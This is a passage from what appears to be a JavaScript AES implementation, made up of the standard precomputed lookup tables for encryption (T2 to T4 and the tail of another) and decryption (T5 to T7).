0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a];
                var T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616];
                var T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16];
                var T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c];

                // Transformations for decryption
                var T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742];
                var T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857];
                var T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8];
